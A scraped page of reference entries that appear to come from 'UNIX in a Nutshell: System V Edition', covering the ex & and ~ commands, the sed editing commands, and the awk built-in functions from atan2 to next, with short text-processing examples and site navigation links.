404 Not Found

Not Found

The requested URL /e-book/oreillybookself/unix/unixnut/c09_051.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Reference: &

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: RETURN Chapter 9
The Ex Editor 		Next: Reference: ~

&

[address] & [options] [count]

Repeat the previous substitution (s) command. count specifies the number of lines on which to substitute, starting with address.

Examples

:s/Overdue/Paid/	Substitute once on current line
:g/Status/&	Redo substitution on all "Status" lines

Previous: Reference: RETURN | UNIX in a Nutshell: System V Edition | Next: Reference: ~
Reference: RETURN | Book Index | Reference: ~
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ~

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: & Chapter 9
The Ex Editor 		Next: 9. The Ex Editor

~

[address] ~ [count]

Replace the previous regular expression with the previous replacement pattern from a substitute (s) command.

Previous: Reference: & | UNIX in a Nutshell: System V Edition | Next: 9. The Ex Editor
Reference: & | Book Index | 9. The Ex Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: :

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: # Chapter 10
The Sed Editor 		Next: Reference: =

:

:label

Label a line in the script for the transfer of control by b or t. label may contain up to seven characters.

Previous: Reference: # | UNIX in a Nutshell: System V Edition | Next: Reference: =
Reference: # | Book Index | Reference: =
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: =

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: : Chapter 10
The Sed Editor 		Next: Reference: a

=

[/pattern/]=

Write to standard output the line number of each line addressed by pattern.

Previous: Reference: : | UNIX in a Nutshell: System V Edition | Next: Reference: a
Reference: : | Book Index | Reference: a
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: a

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: = Chapter 10
The Sed Editor 		Next: Reference: b

a

[address]a\
text

Append text following each line matched by address. If text goes over more than one line, newlines must be "hidden" by preceding them with a backslash. The text will be terminated by the first newline that is not hidden in this way. The text is not available in the pattern space, and subsequent commands cannot be applied to it. The results of this command are sent to standard output when the list of editing commands is finished, regardless of what happens to the current line in the pattern space.

Example

$a\
This goes after the last line in the file\
(marked by $).  This text is escaped at the\
end of each line, except for the last one.

Previous: Reference: = | UNIX in a Nutshell: System V Edition | Next: Reference: b
Reference: = | Book Index | Reference: b
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: b

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: a Chapter 10
The Sed Editor 		Next: Reference: c

b

[address1][,address2]b[label]

Transfer control unconditionally to :label elsewhere in script. That is, the command following the label is the next command applied to the current line. If no label is specified, control falls through to the end of the script, so no more commands are applied to the current line.

Example

# Ignore tbl tables; resume script after TE:
/^\.TS/,/^\.TE/b

Previous: Reference: a | UNIX in a Nutshell: System V Edition | Next: Reference: c
Reference: a | Book Index | Reference: c
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: c

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: b Chapter 10
The Sed Editor 		Next: Reference: d

c

[address1][,address2]c\
text

Replace the lines selected by the address with text. When a range of lines is specified, all lines as a group are replaced by a single copy of text. The newline following each line of text must be escaped by a backslash, except the last line. The contents of the pattern space are, in effect, deleted and no subsequent editing commands can be applied to it (or text).

Example

# Replace first 100 lines in a file:
1,100c\
\
<First 100 names to be supplied>

Previous: Reference: b | UNIX in a Nutshell: System V Edition | Next: Reference: d
Reference: b | Book Index | Reference: d
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: d

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: c Chapter 10
The Sed Editor 		Next: Reference: D

d

[address1][,address2]d

Delete the addressed line (or lines) from the pattern space. Thus, the line is not passed to standard output. A new line of input is read, and editing resumes with the first command in the script.

Example

# delete all blank lines:
/^$/d

Previous: Reference: c | UNIX in a Nutshell: System V Edition | Next: Reference: D
Reference: c | Book Index | Reference: D
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: D

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: d Chapter 10
The Sed Editor 		Next: Reference: g

D

[address1][,address2]D

Delete first part (up to embedded newline) of multi-line pattern space created by N command and resume editing with first command in script. If this command empties the pattern space, then a new line of input is read, as if the d had been executed.

Example

# Strip multiple blank lines, leaving only one:
/^$/{
N
/^\n$/D
}

Previous: Reference: d | UNIX in a Nutshell: System V Edition | Next: Reference: g
Reference: d | Book Index | Reference: g
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: g

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: D Chapter 10
The Sed Editor 		Next: Reference: G

g

[address1][,address2]g

Paste the contents of the hold space (see h or H command) back into the pattern space, wiping out the previous contents of the pattern space. The example shows a simple way to copy lines.

Example

This script collects all lines containing the word Item: and copies them to a place marker later in the file. The place marker is overwritten.

/Item:/H
/<Replace this line with the item list>/g

Previous: Reference: D | UNIX in a Nutshell: System V Edition | Next: Reference: G
Reference: D | Book Index | Reference: G
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: G

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: g Chapter 10
The Sed Editor 		Next: Reference: h

G

[address1][,address2]G

Same as g, except that the hold space is pasted below the address instead of overwriting it. The example shows a simple way to "cut and paste" lines.

Example

This script collects all lines containing the word Item: and moves them after a place marker later in the file. The original Item: lines are deleted.

/Item:/{
H
d
}
/Summary of items:/G

Previous: Reference: g | UNIX in a Nutshell: System V Edition | Next: Reference: h
Reference: g | Book Index | Reference: h
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: h

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: G Chapter 10
The Sed Editor 		Next: Reference: H

h

[address1][,address2]h

Copy the pattern space into the hold space, a special temporary buffer. The previous contents of the hold space are obliterated. You can use h to save a line before editing it.

Example

# Edit a line; print the change; replay the original
/UNIX/{
h
s/.* UNIX \(.*\) .*/\1:/
p
x
}

Sample input:

This describes the UNIX ls command.
This describes the UNIX cp command.

Sample output:

ls:
This describes the UNIX ls command.
cp:
This describes the UNIX cp command.

Previous: Reference: G | UNIX in a Nutshell: System V Edition | Next: Reference: H
Reference: G | Book Index | Reference: H
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: H

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: h Chapter 10
The Sed Editor 		Next: Reference: i

H

[address1][,address2]H

Append the contents of the pattern space (preceded by a newline) to the contents of the hold space. Even if the hold space is empty, H still appends a newline. H is like an incremental copy. See examples under g and G.

Previous: Reference: h | UNIX in a Nutshell: System V Edition | Next: Reference: i
Reference: h | Book Index | Reference: i
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: i

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: H Chapter 10
The Sed Editor 		Next: Reference: l

i

[address1]i\
text

Insert text before each line matched by address. (See a for details on text.)

Example

/Item 1/i/
The five items are listed below:

Previous: Reference: H | UNIX in a Nutshell: System V Edition | Next: Reference: l
Reference: H | Book Index | Reference: l
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: l

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: i Chapter 10
The Sed Editor 		Next: Reference: n

l

[address1][,address2]l

List the contents of the pattern space, showing nonprinting characters as ASCII codes. Long lines are wrapped.

Previous: Reference: i | UNIX in a Nutshell: System V Edition | Next: Reference: n
Reference: i | Book Index | Reference: n
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: n

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: l Chapter 10
The Sed Editor 		Next: Reference: N

n

[address1][,address2]n

Read next line of input into pattern space. The current line is sent to standard output, and the next line becomes the current line. Control passes to the command following n instead of resuming at the top of the script.

Example

In the ms macros, a section header occurs on the line below an .NH macro. To print all lines of header text, invoke this script with sed -n:

/^\.NH/{
n
p
}

Previous: Reference: l | UNIX in a Nutshell: System V Edition | Next: Reference: N
Reference: l | Book Index | Reference: N
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: N

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: n Chapter 10
The Sed Editor 		Next: Reference: p

N

[address1][,address2]N

Append next input line to contents of pattern space; the two lines are separated by an embedded newline. (This command is designed to allow pattern matches across two lines.) Using \n to match the embedded newline, you can match patterns across multiple lines. See example under D.

Examples

Like previous example, but print .NH line as well as header title:

/^\.NH/{
N
p
}

Join two lines (replace newline with space):

/^\.NH/{
N
s/\n/ /
p
}

Previous: Reference: n | UNIX in a Nutshell: System V Edition | Next: Reference: p
Reference: n | Book Index | Reference: p
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: p

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: N Chapter 10
The Sed Editor 		Next: Reference: P

p

[address1][,address2]p

Print the addressed line(s). Unless the -n command-line option is used, this command will cause duplicate lines to be output. Also, it is typically used before commands that change flow control (d, N, b) and that might prevent the current line from being output. See examples under h, n, and N.

Previous: Reference: N | UNIX in a Nutshell: System V Edition | Next: Reference: P
Reference: N | Book Index | Reference: P
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: P

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: p Chapter 10
The Sed Editor 		Next: Reference: q

P

[address1][,address2]P

Print first part (up to embedded newline) of multi-line pattern created by N command. Same as p if N has not been applied to a line.

Example

Suppose you have function references in two formats:

function(a,b,c)
function(a,
         b,
         c)

The following script changes argument c, regardless of whether it appears on the same line as the function name:

s/function(a,b,c)/function(a,b,XX)/
/function(/{
N
s/c/XX/
P
D
}

Previous: Reference: p | UNIX in a Nutshell: System V Edition | Next: Reference: q
Reference: p | Book Index | Reference: q
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: q

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: P Chapter 10
The Sed Editor 		Next: Reference: r

q

[address]q

Quit when address is encountered. The addressed line is first written to output (if default output is not suppressed), along with any text appended to it by previous a or r commands.

Example

Delete everything after the addressed line:

/Garbled text follows:/q

Print only the first 50 lines of a file:

50q

Previous: Reference: P | UNIX in a Nutshell: System V Edition | Next: Reference: r
Reference: P | Book Index | Reference: r
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: r

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: q Chapter 10
The Sed Editor 		Next: Reference: s

r

[address]r file

Read contents of file and append after the contents of the pattern space. Exactly one space must be put between the r and the filename.

Example

/The list of items follow:/r item_file

Previous: Reference: q | UNIX in a Nutshell: System V Edition | Next: Reference: s
Reference: q | Book Index | Reference: s
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: s

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: r Chapter 10
The Sed Editor 		Next: Reference: t

s

[address1][,address2]s/pattern/replacement/[flags]

Substitute replacement for pattern on each addressed line. If pattern addresses are used, the pattern // represents the last pattern address specified. The following flags can be specified:

n

Replace nth instance of /pattern/ on each addressed line. n is any number in the range 1 to 512; the default is 1.

g

Replace all instances of /pattern/ on each addressed line, not just the first instance.

p

Print the line if a successful substitution is done. If several successful substitutions are done, multiple copies of the line will be printed.

w file

Write the line to a file if a replacement was done. A maximum of 10 different files can be opened.

Examples

Here are some short, commented scripts:

# Change third and fourth quote to ( and ):
/function/{
s/"/(/3
s/"/)/4
}
# Remove all quotes on a given line:
/Title/s/"//g
# Remove first colon or all quotes; print resulting lines:
s/://p
s/"//gp
# Change first "if" but leave "ifdef" alone:
/ifdef/!s/if/   if/

Previous: Reference: r | UNIX in a Nutshell: System V Edition | Next: Reference: t
Reference: r | Book Index | Reference: t
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: t

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: s Chapter 10
The Sed Editor 		Next: Reference: w

t

[address1][,address2]t [label]

Test if any substitutions have been made on addressed lines, and if so, branch to line marked by :label. (See b and :.) If label is not specified, control falls through to bottom of script. The t command is like a case statement in the C programming language or the shell programming languages. You test each case: when it's true, you exit the construct.

Example

Suppose you want to fill empty fields of a database. You have this:

ID: 1   Name: greg   Rate: 45
ID: 2   Name: dale
ID: 3

You want this:

ID: 1   Name: greg   Rate: 45   Phone: ??
ID: 2   Name: dale   Rate: ??   Phone: ??
ID: 3   Name: ????   Rate: ??   Phone: ??

You need to test the number of fields already there. Here's the script (fields are tab-separated):

/ID/{
s/ID: .* Name: .* Rate: .*/&   Phone: ??/p
t
s/ID: .* Name: .*/&   Rate: ??   Phone: ??/p
t
s/ID: .*/&   Name: ??     Rate: ??   Phone: ??/p
}

Previous: Reference: s | UNIX in a Nutshell: System V Edition | Next: Reference: w
Reference: s | Book Index | Reference: w
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: w

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: t Chapter 10
The Sed Editor 		Next: Reference: x

w

[address1][,address2]w file

Append contents of pattern space to file. This action occurs when the command is encountered rather than when the pattern space is output. Exactly one space must separate the w and the filename. A maximum of ten different files can be opened in a script. This command will create the file if it does not exist; if the file exists, its contents will be overwritten each time the script is executed. Multiple write commands that direct output to the same file append to the end of the file.

Example

# Store tbl and eqn blocks in a file:
/^\.TS/,/^\.TE/w troff_stuff
/^\.EQ/,/^\.EN/w troff_stuff

Previous: Reference: t | UNIX in a Nutshell: System V Edition | Next: Reference: x
Reference: t | Book Index | Reference: x
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: x

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: w Chapter 10
The Sed Editor 		Next: Reference: y

x

[address1][,address2]x

Exchange contents of the pattern space with the contents of the hold space. See h for an example.

Previous: Reference: w | UNIX in a Nutshell: System V Edition | Next: Reference: y
Reference: w | Book Index | Reference: y
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: y

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: x Chapter 10
The Sed Editor 		Next: 10. The Sed Editor

y

[address1][,address2]y/abc/xyz/

Translate characters. Change every instance of a to x, b to y, c to z, etc.

Example

# Change item 1, 2, 3 to Item A, B, C ...
/^item [1-9]/y/i123456789/IABCDEFGHI/

Previous: Reference: x | UNIX in a Nutshell: System V Edition | Next: 10. The Sed Editor
Reference: x | Book Index | 10. The Sed Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: atan2

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 11.8 Alphabetical Summary of Commands Chapter 11
The Awk Scripting Language 		Next: Reference: break

atan2

atan2(y,x)

Return the arctangent of y/x in radians. {N}

Previous: 11.8 Alphabetical Summary of Commands | UNIX in a Nutshell: System V Edition | Next: Reference: break
11.8 Alphabetical Summary of Commands | Book Index | Reference: break
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: break

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: atan2 Chapter 11
The Awk Scripting Language 		Next: Reference: close

break

break

Exit from a while or for loop.

Previous: Reference: atan2 | UNIX in a Nutshell: System V Edition | Next: Reference: close
Reference: atan2 | Book Index | Reference: close
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: close

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: break Chapter 11
The Awk Scripting Language 		Next: Reference: continue

close

close(filename-expr)
close(command-expr)

In most implementations of awk, you can only have ten files open simultaneously and one pipe. Therefore, nawk provides a close statement that allows you to close a file or a pipe. It takes as an argument the same expression that opened the pipe or file. {N}

Previous: Reference: break | UNIX in a Nutshell: System V Edition | Next: Reference: continue
Reference: break | Book Index | Reference: continue
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: continue

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: close Chapter 11
The Awk Scripting Language 		Next: Reference: cos

continue

continue

Begin next iteration of while or for loop without reaching the bottom.

Previous: Reference: close | UNIX in a Nutshell: System V Edition | Next: Reference: cos
Reference: close | Book Index | Reference: cos
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cos

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: continue Chapter 11
The Awk Scripting Language 		Next: Reference: delete

cos

cos(x)

Return the cosine of x, an angle in radians.

Previous: Reference: continue | UNIX in a Nutshell: System V Edition | Next: Reference: delete
Reference: continue | Book Index | Reference: delete
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: delete

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cos Chapter 11
The Awk Scripting Language 		Next: Reference: do

delete

delete(array[element])

Delete element of array. {N}

Previous: Reference: cos | UNIX in a Nutshell: System V Edition | Next: Reference: do
Reference: cos | Book Index | Reference: do
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: do

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: delete Chapter 11
The Awk Scripting Language 		Next: Reference: exit

do

do
     body
while (expr)

Looping statement. Execute statements in body, then evaluate expr. If expr is true, execute body again. {N}

Previous: Reference: delete | UNIX in a Nutshell: System V Edition | Next: Reference: exit
Reference: delete | Book Index | Reference: exit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: do Chapter 11
The Awk Scripting Language 		Next: Reference: exp

exit

exit

Do not execute remaining instruction and read no new input. END procedures will be executed.

Previous: Reference: do | UNIX in a Nutshell: System V Edition | Next: Reference: exp
Reference: do | Book Index | Reference: exp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exit Chapter 11
The Awk Scripting Language 		Next: Reference: for

exp

exp(arg)

Return the natural exponent of arg (the inverse of log).

Previous: Reference: exit | UNIX in a Nutshell: System V Edition | Next: Reference: for
Reference: exit | Book Index | Reference: for
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: for

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exp Chapter 11
The Awk Scripting Language 		Next: Reference: for

for

for (i=lower; i<=upper; i++)
    command

While the value of variable i is in the range between lower and upper, do command. A series of commands must be put within braces. <= or any relational operator can be used; ++ or -- can be used to increment or decrement the variable.

Previous: Reference: exp | UNIX in a Nutshell: System V Edition | Next: Reference: for
Reference: exp | Book Index | Reference: for
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: function

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: for Chapter 11
The Awk Scripting Language 		Next: Reference: getline

function

function name(parameter-list) {
     statements
}

Create name as a user-defined function consisting of awk statements that apply to the specified list of parameters.

Previous: Reference: for | UNIX in a Nutshell: System V Edition | Next: Reference: getline
Reference: for | Book Index | Reference: getline
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: getline

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: function Chapter 11
The Awk Scripting Language 		Next: Reference: gsub

getline

getline [var] [<file]
        or
command | getline [var]

Read next line of input. Original awk does not support the syntax to open multiple input streams. The first form reads input from file and the second form reads the output of command. Both forms read one line at a time, and each time the statement is executed it gets the next line of input. The line of input is assigned to $0 and it is parsed into fields, setting NF, NR and FNR. If var is specified, the result is assigned to var and the $0 is not changed. Thus, if the result is assigned to a variable, the current line does not change. It is actually a function and it returns 1 if it reads a record successfully, 0 if end-of-line is encountered, and -1 if for some reason it is otherwise unsuccessful. {N}

Previous: Reference: function | UNIX in a Nutshell: System V Edition | Next: Reference: gsub
Reference: function | Book Index | Reference: gsub
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: gsub

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: getline Chapter 11
The Awk Scripting Language 		Next: Reference: if

gsub

gsub(r,s,t)

Globally substitute s for each match of the regular expression r in the string t. Return the number of substitutions. If t is not supplied, defaults to $0. {N}

Previous: Reference: getline | UNIX in a Nutshell: System V Edition | Next: Reference: if
Reference: getline | Book Index | Reference: if
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: if

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: gsub Chapter 11
The Awk Scripting Language 		Next: Reference: index

if

if (condition)
      command
[else]
      [command]

If condition is true, do command(s), otherwise do command in else clause. Condition can be an expression using any of the relational operators <, <=, ==, !=, >=, or >, as well as the pattern-matching operator ~ (e.g., "if ($1 ~ /[Aa].*/)"). A series of commands must be put within braces.

Previous: Reference: gsub | UNIX in a Nutshell: System V Edition | Next: Reference: index
Reference: gsub | Book Index | Reference: index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: index

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: if Chapter 11
The Awk Scripting Language 		Next: Reference: int

index

index(str,substr)

Return the position of substring in string.

Previous: Reference: if | UNIX in a Nutshell: System V Edition | Next: Reference: int
Reference: if | Book Index | Reference: int
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: int

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: index Chapter 11
The Awk Scripting Language 		Next: Reference: length

int

int(arg)

Return the integer value of arg.

Previous: Reference: index | UNIX in a Nutshell: System V Edition | Next: Reference: length
Reference: index | Book Index | Reference: length
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: length

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: int Chapter 11
The Awk Scripting Language 		Next: Reference: log

length

length(arg)

Return the length of arg. If arg is not supplied, $0 is assumed. Therefore, length can be used as a predefined variable that contains the length of the current record.

Previous: Reference: int | UNIX in a Nutshell: System V Edition | Next: Reference: log
Reference: int | Book Index | Reference: log
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: log

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: length Chapter 11
The Awk Scripting Language 		Next: Reference: match

log

log(arg)

Return the natural logarithm of arg (the inverse of exp).

Previous: Reference: length | UNIX in a Nutshell: System V Edition | Next: Reference: match
Reference: length | Book Index | Reference: match
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: match

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: log Chapter 11
The Awk Scripting Language 		Next: Reference: next

match

match(s,r)

Function that matches the pattern, specified by the regular expression r, in the string s and returns either the position in s where the match begins, or 0 if no occurrences are found. Sets the value of RSTART and RLENGTH. {N}

Previous: Reference: log | UNIX in a Nutshell: System V Edition | Next: Reference: next
Reference: log | Book Index | Reference: next
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: next

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: match Chapter 11
The Awk Scripting Language 		Next: Reference: print

next

next

Read next input line and start new cycle through pattern/procedures statements.

Previous: Reference: match | UNIX in a Nutshell: System V Edition | Next: Reference: print
Reference: match | Book Index | Reference: print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: print

